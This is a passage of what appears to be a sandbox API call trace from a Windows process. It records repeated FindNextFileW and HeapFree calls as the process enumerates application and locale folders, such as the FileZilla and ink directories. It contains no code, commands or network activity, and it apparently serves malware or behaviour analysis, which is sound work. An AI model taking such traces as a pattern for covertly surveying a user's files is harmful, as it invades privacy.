ftCreationTime.dwLowDateTime=0x399b8590, ftCreationTime.dwHighDateTime=0x1d5d0d6, ftLastAccessTime.dwLowDateTime=0xa2df5310, ftLastAccessTime.dwHighDateTime=0x1d5fb83, ftLastWriteTime.dwLowDateTime=0xa2df5310, ftLastWriteTime.dwHighDateTime=0x1d5fb83, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xffffbf1c, dwReserved1=0x90e, cFileName="filezilla.exe", cAlternateFileName="FILEZI~1.EXE")) returned 1 [0245.729] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4120060 | out: hHeap=0x520000) returned 1 [0245.729] FindNextFileW (in: hFindFile=0x60ee70, lpFindFileData=0x312f584 | out: lpFindFileData=0x312f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x70b, dwReserved1=0xffffbd1b, cFileName="ink", cAlternateFileName="")) returned 1 [0245.730] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.730] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0245.730] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.730] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0245.731] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.731] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="da-DK", cAlternateFileName="")) returned 1 [0245.731] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.731] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="de-DE", cAlternateFileName="")) returned 1 [0245.731] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.731] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="el-GR", cAlternateFileName="")) returned 1 [0245.731] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.731] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="en-GB", cAlternateFileName="")) returned 1 [0245.732] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.732] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="en-US", cAlternateFileName="")) returned 1 [0245.734] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.734] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="es-ES", cAlternateFileName="")) returned 1 [0245.734] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.734] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="es-MX", cAlternateFileName="")) returned 1 [0245.734] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.734] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="et-EE", cAlternateFileName="")) returned 1 [0245.734] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.734] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0245.735] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.735] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0245.735] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.735] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0245.735] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.735] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0245.736] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4140070 | out: hHeap=0x520000) returned 1 [0245.736] FindNextFileW (in: hFindFile=0x60ef70, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x309, dwReserved1=0xffffe30d, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0245.736] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4140070 | out: hHeap=0x520000) returned 1 [0245.736] FindNextFileW (in: hFindFile=0x60ef70, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x309, dwReserved1=0xffffe30d, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0245.737] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4140070 | out: hHeap=0x520000) returned 1 [0245.737] FindNextFileW (in: hFindFile=0x60ef70, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x309, dwReserved1=0xffffe30d, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0245.739] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4140070 | out: hHeap=0x520000) returned 1 [0245.739] FindNextFileW (in: hFindFile=0x60ef70, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x309, dwReserved1=0xffffe30d, cFileName="main.xml", cAlternateFileName="")) returned 1 [0245.739] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4140070 | out: hHeap=0x520000) returned 1 [0245.739] FindNextFileW (in: hFindFile=0x60ef70, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x309, dwReserved1=0xffffe30d, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0245.740] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4140070 | out: hHeap=0x520000) returned 1 [0245.740] FindNextFileW (in: hFindFile=0x60ef70, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x309, dwReserved1=0xffffe30d, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0245.740] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4140070 | out: hHeap=0x520000) returned 1 [0245.740] FindNextFileW (in: hFindFile=0x60ef70, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x309, dwReserved1=0xffffe30d, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0245.741] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4140070 | out: hHeap=0x520000) returned 1 [0245.741] FindNextFileW (in: hFindFile=0x60ef70, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x309, dwReserved1=0xffffe30d, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0245.741] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4140070 | out: hHeap=0x520000) returned 1 [0245.741] FindNextFileW (in: hFindFile=0x60ef70, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x309, dwReserved1=0xffffe30d, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0245.741] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4140070 | out: hHeap=0x520000) returned 1 [0245.741] FindNextFileW (in: hFindFile=0x60ef70, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x309, dwReserved1=0xffffe30d, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0245.742] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.742] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="he-IL", cAlternateFileName="")) returned 1 [0245.742] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.742] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0245.742] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.742] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0245.742] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.742] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0245.743] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.743] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0245.744] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.744] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0245.744] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.744] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0245.744] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.744] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0245.745] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.745] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0245.745] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.745] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0245.745] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.745] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0245.745] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.745] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0245.746] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.746] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0245.746] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.746] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, 